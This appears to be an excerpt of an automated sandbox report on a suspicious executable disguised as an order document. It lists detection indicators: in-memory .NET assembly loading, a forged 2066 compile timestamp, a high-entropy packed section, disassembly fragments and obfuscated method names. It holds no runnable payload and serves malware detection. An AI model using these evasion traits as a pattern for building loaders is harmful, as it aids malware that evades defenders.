Source: 13.0.EUSOiCcoIEEJJ.exe.298cd08.1.raw.unpack, mainscreen.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: 13.2.EUSOiCcoIEEJJ.exe.298cd08.1.raw.unpack, mainscreen.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: 14.2.firefox.exe.252dcd08.0.raw.unpack, mainscreen.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])

Source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe

Static PE information: 0xB57478D9 [Mon Jun 21 01:26:49 2066 UTC]

Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 0_2_00A746BB push edx; iretd	0_2_00A746BE
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 0_2_00A74660 push edx; iretd	0_2_00A74662
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 0_2_00A74659 push edx; iretd	0_2_00A7465A
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 0_2_00A747AF push esi; iretd	0_2_00A747B2
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 0_2_00A74781 push esi; iretd	0_2_00A74782
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 0_2_00A74779 push esi; iretd	0_2_00A7477A
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 0_2_00A7AC81 pushfd ; iretd	0_2_00A7AC82
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 0_2_00A7AC79 pushfd ; iretd	0_2_00A7AC7A
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 0_2_0530654E push ds; iretd	0_2_0530654F
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 0_2_05303AD7 push ebx; retf	0_2_05303ADA
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_00402061 push es; iretd	5_2_00402076
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0040C158 push ecx; retf	5_2_0040C159
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_004021D9 push 77CEFDB6h; ret	5_2_004021E0
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_00417238 push ebx; retf	5_2_00417239
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_00411AA5 push esp; iretd	5_2_00411AAB
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_00411AB9 push 1CFC06C9h; ret	5_2_00411ABE
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_00408300 push es; retf	5_2_0040831F
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_004033A0 push eax; ret	5_2_004033A2
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0040BC07 push ss; ret	5_2_0040BC09
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_004164C3 push ebp; retf 18B7h	5_2_00416449
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0040750F push ebp; retf	5_2_00407510
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_004125BB push esp; ret	5_2_004125CC
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_00418F6C push cs; iretd	5_2_00418F71
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_00413FE4 push 00000030h; iretd	5_2_00413FE9
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0138225F pushad ; ret	5_2_013827F9
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013827FA pushad ; ret	5_2_013827F9
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_013B09AD push ecx; mov dword ptr [esp], ecx	5_2_013B09B6
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_0138283D push eax; iretd	5_2_01382858
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Code function: 5_2_01381344 push eax; iretd	5_2_01381369
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	Code function: 9_2_04081500 push cs; ret	9_2_04081501
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	Code function: 9_2_04074D27 push ecx; retf	9_2_04074D28

Source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe

Static PE information: section name: .text entropy: 7.977348206861711

Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.cf90000.7.raw.unpack, OkXB9a4YdprsSPYtim.cs	High entropy of concatenated method names: 'Dispose', 'EfLXSVg0H3', 'onWMFgk4Ec', 'QkmDDs21Rd', 'DFLXm6gb9B', 'Q7fXzYqEvq', 'ProcessDialogKey', 'aQLM2DcgpX', 'd1qMXbu54T', 'MXKMM0VVM0'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.cf90000.7.raw.unpack, FbfCiLHAwcB6jTs026.cs	High entropy of concatenated method names: 'as98BaWaTv', 'KON8YHwojI', 'ToString', 'm2t8xEFsiv', 'Wbs84Crufv', 'uDp8uUTOVE', 'RHg8bgWgAn', 'B7H8tcs2CY', 'KXa81xJi35', 'hAO8AvuiCx'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.cf90000.7.raw.unpack, DJO8vVomSf1ydRl3pV.cs	High entropy of concatenated method names: 'aGQ4ptwqlf', 'IkP4wkfKQ8', 'LV94045f6s', 'fyG4HDDR3A', 'wKC4QAIlY7', 'l7T4ykrtZZ', 'UT94EqrpnM', 'Xna4sQWMqK', 'X9J4SMTsoi', 'fdI4mJwYou'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.cf90000.7.raw.unpack, M0wsTL3r3fuRc7Boqc.cs	High entropy of concatenated method names: 'G0oX1JO8vV', 'YSfXA1ydRl', 'VylXB3gqQ7', 'DXgXY6xEPx', 'BYYXWpd7ZT', 'wqVXvXjyta', 'kT6eTBkgJY8hnJDWSd', 'lxfcYtl8hpGGBG5Bj4', 'PmkXXICqVk', 'wgWXj1qyEr'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.cf90000.7.raw.unpack, h36j66y444CnFBKR7G.cs	High entropy of concatenated method names: 'oNj8sJ81sV', 'TbP8mlgZci', 'i9UV2eRNf2', 'IyEVXLqT2h', 'EeM8GEtoKN', 'TXo8LsTAkW', 'GID8cVTijI', 'y1a8pM5Fl8', 'BBp8wpi7ng', 'j9o80OACFU'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.cf90000.7.raw.unpack, Eir6qOiBX37WHUEZgT.cs	High entropy of concatenated method names: 'v701xBBigl', 'Vlm1uK1yZf', 'qMg1tonidj', 'xREtm0iFqq', 't17tzxmeZL', 'txF12hMAkJ', 'WWR1XhoCxg', 'fD81MZtP3J', 'KSB1jgBs5p', 'WE613Q4a53'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.cf90000.7.raw.unpack, ETASaYckrPsNWXkt9U.cs	High entropy of concatenated method names: 'DBXPoVKmtb', 'OQcPZ45K2A', 'MTXP9NOdhu', 'tYrPF3M51q', 'EdhPTVGOq6', 'kSRPUf0D1p', 'wwaPiZYVrI', 'fiBP5xpaSK', 'YXNPOPInqM', 'Vf8PG9jj2j'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.cf90000.7.raw.unpack, RS0m6OMYkClxmqgBal.cs	High entropy of concatenated method names: 'WFjRnK8Nm', 'JLka2QnLx', 'kVvegj2dT', 'Vkw6Y0ejb', 'He7ZhKfmT', 'McpqvK0Qm', 'NNNLol5KQfoNwUW6RT', 'Lm2mVms7BvVDON4nSa', 'rOKVYwLJm', 'LQOdUvJaM'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.cf90000.7.raw.unpack, lQOi7u0sTIIXy3UBMv.cs	High entropy of concatenated method names: 'ToString', 'cRCvGAvqRL', 'Ym5vF9OdRw', 'PFovniqlPa', 'BQ7vTQCW17', 'p6tvU4cClr', 'oInvJ0RFHM', 'WckviX0Mgf', 'QWfv55NKx8', 'fKmv7WMMRE'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.cf90000.7.raw.unpack, MZTkqV9XjytaaqfcxB.cs	High entropy of concatenated method names: 'O2MtrL7ZZd', 'CYnt47dn0U', 'lUhtbEiK3M', 'a5dt1GQ4Zc', 'A3QtAMHkQp', 'spWbQ7B0GQ', 'zLKbyaDNfg', 'sWLbEAmQ6q', 'nBnbsQu2XG', 'XSfbSajvqw'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.cf90000.7.raw.unpack, bot8SiAUO3JBgG2e18.cs	High entropy of concatenated method names: 'bHwjrmVBLQ', 'YKEjxRTn89', 'Q2pj4t6JtQ', 'wAtjut5hdM', 'l0ijbPKrdR', 'Rfgjt3l582', 'Qrcj1xlk4Z', 'fyWjAR5QsU', 'uGyjlVjo3B', 'cqfjBvDQxH'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.cf90000.7.raw.unpack, PDcgpXSj1qbu54T7XK.cs	High entropy of concatenated method names: 'oMhV9RTvBK', 'VkyVFWQYJ1', 'rslVnd6KKr', 'uKTVTIKgk9', 'bdpVpDVw7v', 'joPVUIKhDc', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.cf90000.7.raw.unpack, SVVM01mpZ25hLYZ4RI.cs	High entropy of concatenated method names: 'OAKNXBEl4g', 'vuaNjkVJMt', 'uVsN3Dngd8', 'LwQNxBk57H', 'sV2N4rsor3', 'sVxNbTTglq', 'e7qNtXfga4', 'FnkVEZCigg', 'EwqVsP8lgd', 'bhSVSN9of9'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.cf90000.7.raw.unpack, p3OJO3Xj3WA6yFT9bG2.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'lXOdpIBptL', 'HcfdwSZI5m', 'JqId0hPLB2', 'AZWdHKOZDe', 'qg6dQU4ShO', 'IjndyIKn5G', 'toldEdc4kb'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.cf90000.7.raw.unpack, M9EhpapaLJXqtHovTI.cs	High entropy of concatenated method names: 'LB2WOC0vKd', 'gxFWLGxcOd', 'zevWpphlcS', 'AYBWwBqABy', 'H7WWFSVrqy', 'eAmWn0CPOU', 'LnWWTTlmjB', 'ngyWUjriDU', 'ksAWJPLoKR', 'xOBWiREsmc'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.cf90000.7.raw.unpack, LSsALD7k0xoq1ICkoe.cs	High entropy of concatenated method names: 'tOH1fTeCn3', 'PBn1K13X6j', 'un91RBxDJS', 'LWR1akLpun', 'rFr1CXR8Wv', 'xkM1esRiWY', 'dDt16xZq02', 'g7k1oLaZv3', 'QJh1ZMVTsG', 'WR91qeYbsK'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.cf90000.7.raw.unpack, oZDxN9X20Mgb54aR6pJ.cs	High entropy of concatenated method names: 'tHONfNL4Ct', 'VPdNKmw5Kk', 'aIMNRNoNPk', 'i1PNahuEeD', 'pJSNC6jfZk', 'O66NeUeL4m', 'QOPN6RcP64', 'cPDNoUslBd', 'QT6NZtiW5C', 'TccNqv8eCT'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.cf90000.7.raw.unpack, o26AjyZyl3gqQ7oXg6.cs	High entropy of concatenated method names: 'T2QuaAVOq5', 'pR0ue4OQLQ', 'XJKuoFxnNH', 'HmmuZ63kFp', 'rI9uWpu18R', 'H8Xuv42bSQ', 'tdJu8pYTZN', 'KAMuVCo5qt', 'lAguNwjToc', 'DtuudfXIOt'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.cf90000.7.raw.unpack, GL6gb9sBp7fYqEvq2Q.cs	High entropy of concatenated method names: 'KkiVxEvJ3F', 'KpiV4Uv6ke', 'ioBVuG2auq', 'HXlVb33PMn', 'NUsVtT8Ega', 'kk5V1N03Zj', 'JekVA2et5Q', 'dQbVlFGkfH', 'GfUVBXHQhc', 'yEiVYRgcUO'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.cf90000.7.raw.unpack, fEPxOLqyxV0ISeYYpd.cs	High entropy of concatenated method names: 'hEmbCiojYN', 'MDib6DjB6I', 'LsLunYOHtF', 'kwOuTHb6Q3', 'qN4uUXAaGk', 'QRhuJKagdx', 'NehuiMuG7Q', 'HL1u5I7oSS', 'kFHu7k0mIY', 'LcCuORBMxF'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.cf90000.7.raw.unpack, l7GCTdzeZ7vklkKi9T.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'OlgNPlIuCu', 't46NW6QBH7', 'vdoNvjFq0f', 'MpXN8jHfsl', 'UuyNV7sA5q', 'IflNNWJBJ9', 'GjhNdnLcpt'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.454da20.2.raw.unpack, OkXB9a4YdprsSPYtim.cs	High entropy of concatenated method names: 'Dispose', 'EfLXSVg0H3', 'onWMFgk4Ec', 'QkmDDs21Rd', 'DFLXm6gb9B', 'Q7fXzYqEvq', 'ProcessDialogKey', 'aQLM2DcgpX', 'd1qMXbu54T', 'MXKMM0VVM0'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.454da20.2.raw.unpack, FbfCiLHAwcB6jTs026.cs	High entropy of concatenated method names: 'as98BaWaTv', 'KON8YHwojI', 'ToString', 'm2t8xEFsiv', 'Wbs84Crufv', 'uDp8uUTOVE', 'RHg8bgWgAn', 'B7H8tcs2CY', 'KXa81xJi35', 'hAO8AvuiCx'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.454da20.2.raw.unpack, DJO8vVomSf1ydRl3pV.cs	High entropy of concatenated method names: 'aGQ4ptwqlf', 'IkP4wkfKQ8', 'LV94045f6s', 'fyG4HDDR3A', 'wKC4QAIlY7', 'l7T4ykrtZZ', 'UT94EqrpnM', 'Xna4sQWMqK', 'X9J4SMTsoi', 'fdI4mJwYou'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.454da20.2.raw.unpack, M0wsTL3r3fuRc7Boqc.cs	High entropy of concatenated method names: 'G0oX1JO8vV', 'YSfXA1ydRl', 'VylXB3gqQ7', 'DXgXY6xEPx', 'BYYXWpd7ZT', 'wqVXvXjyta', 'kT6eTBkgJY8hnJDWSd', 'lxfcYtl8hpGGBG5Bj4', 'PmkXXICqVk', 'wgWXj1qyEr'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.454da20.2.raw.unpack, h36j66y444CnFBKR7G.cs	High entropy of concatenated method names: 'oNj8sJ81sV', 'TbP8mlgZci', 'i9UV2eRNf2', 'IyEVXLqT2h', 'EeM8GEtoKN', 'TXo8LsTAkW', 'GID8cVTijI', 'y1a8pM5Fl8', 'BBp8wpi7ng', 'j9o80OACFU'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.454da20.2.raw.unpack, Eir6qOiBX37WHUEZgT.cs	High entropy of concatenated method names: 'v701xBBigl', 'Vlm1uK1yZf', 'qMg1tonidj', 'xREtm0iFqq', 't17tzxmeZL', 'txF12hMAkJ', 'WWR1XhoCxg', 'fD81MZtP3J', 'KSB1jgBs5p', 'WE613Q4a53'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.454da20.2.raw.unpack, ETASaYckrPsNWXkt9U.cs	High entropy of concatenated method names: 'DBXPoVKmtb', 'OQcPZ45K2A', 'MTXP9NOdhu', 'tYrPF3M51q', 'EdhPTVGOq6', 'kSRPUf0D1p', 'wwaPiZYVrI', 'fiBP5xpaSK', 'YXNPOPInqM', 'Vf8PG9jj2j'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.454da20.2.raw.unpack, RS0m6OMYkClxmqgBal.cs	High entropy of concatenated method names: 'WFjRnK8Nm', 'JLka2QnLx', 'kVvegj2dT', 'Vkw6Y0ejb', 'He7ZhKfmT', 'McpqvK0Qm', 'NNNLol5KQfoNwUW6RT', 'Lm2mVms7BvVDON4nSa', 'rOKVYwLJm', 'LQOdUvJaM'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.454da20.2.raw.unpack, lQOi7u0sTIIXy3UBMv.cs	High entropy of concatenated method names: 'ToString', 'cRCvGAvqRL', 'Ym5vF9OdRw', 'PFovniqlPa', 'BQ7vTQCW17', 'p6tvU4cClr', 'oInvJ0RFHM', 'WckviX0Mgf', 'QWfv55NKx8', 'fKmv7WMMRE'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.454da20.2.raw.unpack, MZTkqV9XjytaaqfcxB.cs	High entropy of concatenated method names: 'O2MtrL7ZZd', 'CYnt47dn0U', 'lUhtbEiK3M', 'a5dt1GQ4Zc', 'A3QtAMHkQp', 'spWbQ7B0GQ', 'zLKbyaDNfg', 'sWLbEAmQ6q', 'nBnbsQu2XG', 'XSfbSajvqw'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.454da20.2.raw.unpack, bot8SiAUO3JBgG2e18.cs	High entropy of concatenated method names: 'bHwjrmVBLQ', 'YKEjxRTn89', 'Q2pj4t6JtQ', 'wAtjut5hdM', 'l0ijbPKrdR', 'Rfgjt3l582', 'Qrcj1xlk4Z', 'fyWjAR5QsU', 'uGyjlVjo3B', 'cqfjBvDQxH'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.454da20.2.raw.unpack, PDcgpXSj1qbu54T7XK.cs	High entropy of concatenated method names: 'oMhV9RTvBK', 'VkyVFWQYJ1', 'rslVnd6KKr', 'uKTVTIKgk9', 'bdpVpDVw7v', 'joPVUIKhDc', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.454da20.2.raw.unpack, SVVM01mpZ25hLYZ4RI.cs	High entropy of concatenated method names: 'OAKNXBEl4g', 'vuaNjkVJMt', 'uVsN3Dngd8', 'LwQNxBk57H', 'sV2N4rsor3', 'sVxNbTTglq', 'e7qNtXfga4', 'FnkVEZCigg', 'EwqVsP8lgd', 'bhSVSN9of9'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.454da20.2.raw.unpack, p3OJO3Xj3WA6yFT9bG2.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'lXOdpIBptL', 'HcfdwSZI5m', 'JqId0hPLB2', 'AZWdHKOZDe', 'qg6dQU4ShO', 'IjndyIKn5G', 'toldEdc4kb'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.454da20.2.raw.unpack, M9EhpapaLJXqtHovTI.cs	High entropy of concatenated method names: 'LB2WOC0vKd', 'gxFWLGxcOd', 'zevWpphlcS', 'AYBWwBqABy', 'H7WWFSVrqy', 'eAmWn0CPOU', 'LnWWTTlmjB', 'ngyWUjriDU', 'ksAWJPLoKR', 'xOBWiREsmc'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.454da20.2.raw.unpack, LSsALD7k0xoq1ICkoe.cs	High entropy of concatenated method names: 'tOH1fTeCn3', 'PBn1K13X6j', 'un91RBxDJS', 'LWR1akLpun', 'rFr1CXR8Wv', 'xkM1esRiWY', 'dDt16xZq02', 'g7k1oLaZv3', 'QJh1ZMVTsG', 'WR91qeYbsK'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.454da20.2.raw.unpack, oZDxN9X20Mgb54aR6pJ.cs	High entropy of concatenated method names: 'tHONfNL4Ct', 'VPdNKmw5Kk', 'aIMNRNoNPk', 'i1PNahuEeD', 'pJSNC6jfZk', 'O66NeUeL4m', 'QOPN6RcP64', 'cPDNoUslBd', 'QT6NZtiW5C', 'TccNqv8eCT'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.454da20.2.raw.unpack, o26AjyZyl3gqQ7oXg6.cs	High entropy of concatenated method names: 'T2QuaAVOq5', 'pR0ue4OQLQ', 'XJKuoFxnNH', 'HmmuZ63kFp', 'rI9uWpu18R', 'H8Xuv42bSQ', 'tdJu8pYTZN', 'KAMuVCo5qt', 'lAguNwjToc', 'DtuudfXIOt'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.454da20.2.raw.unpack, GL6gb9sBp7fYqEvq2Q.cs	High entropy of concatenated method names: 'KkiVxEvJ3F', 'KpiV4Uv6ke', 'ioBVuG2auq', 'HXlVb33PMn', 'NUsVtT8Ega', 'kk5V1N03Zj', 'JekVA2et5Q', 'dQbVlFGkfH', 'GfUVBXHQhc', 'yEiVYRgcUO'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.454da20.2.raw.unpack, fEPxOLqyxV0ISeYYpd.cs	High entropy of concatenated method names: 'hEmbCiojYN', 'MDib6DjB6I', 'LsLunYOHtF', 'kwOuTHb6Q3', 'qN4uUXAaGk', 'QRhuJKagdx', 'NehuiMuG7Q', 'HL1u5I7oSS', 'kFHu7k0mIY', 'LcCuORBMxF'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.454da20.2.raw.unpack, l7GCTdzeZ7vklkKi9T.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'OlgNPlIuCu', 't46NW6QBH7', 'vdoNvjFq0f', 'MpXN8jHfsl', 'UuyNV7sA5q', 'IflNNWJBJ9', 'GjhNdnLcpt'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.448ca00.3.raw.unpack, OkXB9a4YdprsSPYtim.cs	High entropy of concatenated method names: 'Dispose', 'EfLXSVg0H3', 'onWMFgk4Ec', 'QkmDDs21Rd', 'DFLXm6gb9B', 'Q7fXzYqEvq', 'ProcessDialogKey', 'aQLM2DcgpX', 'd1qMXbu54T', 'MXKMM0VVM0'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.448ca00.3.raw.unpack, FbfCiLHAwcB6jTs026.cs	High entropy of concatenated method names: 'as98BaWaTv', 'KON8YHwojI', 'ToString', 'm2t8xEFsiv', 'Wbs84Crufv', 'uDp8uUTOVE', 'RHg8bgWgAn', 'B7H8tcs2CY', 'KXa81xJi35', 'hAO8AvuiCx'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.448ca00.3.raw.unpack, DJO8vVomSf1ydRl3pV.cs	High entropy of concatenated method names: 'aGQ4ptwqlf', 'IkP4wkfKQ8', 'LV94045f6s', 'fyG4HDDR3A', 'wKC4QAIlY7', 'l7T4ykrtZZ', 'UT94EqrpnM', 'Xna4sQWMqK', 'X9J4SMTsoi', 'fdI4mJwYou'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.448ca00.3.raw.unpack, M0wsTL3r3fuRc7Boqc.cs	High entropy of concatenated method names: 'G0oX1JO8vV', 'YSfXA1ydRl', 'VylXB3gqQ7', 'DXgXY6xEPx', 'BYYXWpd7ZT', 'wqVXvXjyta', 'kT6eTBkgJY8hnJDWSd', 'lxfcYtl8hpGGBG5Bj4', 'PmkXXICqVk', 'wgWXj1qyEr'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.448ca00.3.raw.unpack, h36j66y444CnFBKR7G.cs	High entropy of concatenated method names: 'oNj8sJ81sV', 'TbP8mlgZci', 'i9UV2eRNf2', 'IyEVXLqT2h', 'EeM8GEtoKN', 'TXo8LsTAkW', 'GID8cVTijI', 'y1a8pM5Fl8', 'BBp8wpi7ng', 'j9o80OACFU'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.448ca00.3.raw.unpack, Eir6qOiBX37WHUEZgT.cs	High entropy of concatenated method names: 'v701xBBigl', 'Vlm1uK1yZf', 'qMg1tonidj', 'xREtm0iFqq', 't17tzxmeZL', 'txF12hMAkJ', 'WWR1XhoCxg', 'fD81MZtP3J', 'KSB1jgBs5p', 'WE613Q4a53'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.448ca00.3.raw.unpack, ETASaYckrPsNWXkt9U.cs	High entropy of concatenated method names: 'DBXPoVKmtb', 'OQcPZ45K2A', 'MTXP9NOdhu', 'tYrPF3M51q', 'EdhPTVGOq6', 'kSRPUf0D1p', 'wwaPiZYVrI', 'fiBP5xpaSK', 'YXNPOPInqM', 'Vf8PG9jj2j'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.448ca00.3.raw.unpack, RS0m6OMYkClxmqgBal.cs	High entropy of concatenated method names: 'WFjRnK8Nm', 'JLka2QnLx', 'kVvegj2dT', 'Vkw6Y0ejb', 'He7ZhKfmT', 'McpqvK0Qm', 'NNNLol5KQfoNwUW6RT', 'Lm2mVms7BvVDON4nSa', 'rOKVYwLJm', 'LQOdUvJaM'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.448ca00.3.raw.unpack, lQOi7u0sTIIXy3UBMv.cs	High entropy of concatenated method names: 'ToString', 'cRCvGAvqRL', 'Ym5vF9OdRw', 'PFovniqlPa', 'BQ7vTQCW17', 'p6tvU4cClr', 'oInvJ0RFHM', 'WckviX0Mgf', 'QWfv55NKx8', 'fKmv7WMMRE'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.448ca00.3.raw.unpack, MZTkqV9XjytaaqfcxB.cs	High entropy of concatenated method names: 'O2MtrL7ZZd', 'CYnt47dn0U', 'lUhtbEiK3M', 'a5dt1GQ4Zc', 'A3QtAMHkQp', 'spWbQ7B0GQ', 'zLKbyaDNfg', 'sWLbEAmQ6q', 'nBnbsQu2XG', 'XSfbSajvqw'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.448ca00.3.raw.unpack, bot8SiAUO3JBgG2e18.cs	High entropy of concatenated method names: 'bHwjrmVBLQ', 'YKEjxRTn89', 'Q2pj4t6JtQ', 'wAtjut5hdM', 'l0ijbPKrdR', 'Rfgjt3l582', 'Qrcj1xlk4Z', 'fyWjAR5QsU', 'uGyjlVjo3B', 'cqfjBvDQxH'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.448ca00.3.raw.unpack, PDcgpXSj1qbu54T7XK.cs	High entropy of concatenated method names: 'oMhV9RTvBK', 'VkyVFWQYJ1', 'rslVnd6KKr', 'uKTVTIKgk9', 'bdpVpDVw7v', 'joPVUIKhDc', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.448ca00.3.raw.unpack, SVVM01mpZ25hLYZ4RI.cs	High entropy of concatenated method names: 'OAKNXBEl4g', 'vuaNjkVJMt', 'uVsN3Dngd8', 'LwQNxBk57H', 'sV2N4rsor3', 'sVxNbTTglq', 'e7qNtXfga4', 'FnkVEZCigg', 'EwqVsP8lgd', 'bhSVSN9of9'
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.448ca00.3.raw.unpack, p3OJO3Xj3WA6yFT9bG2.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'lXOdpIBptL', 'HcfdwSZI5m', 'JqId0hPLB2', 'AZWdHKOZDe', 'qg6dQU4ShO', 'IjndyIKn5G', 'toldEdc4kb'
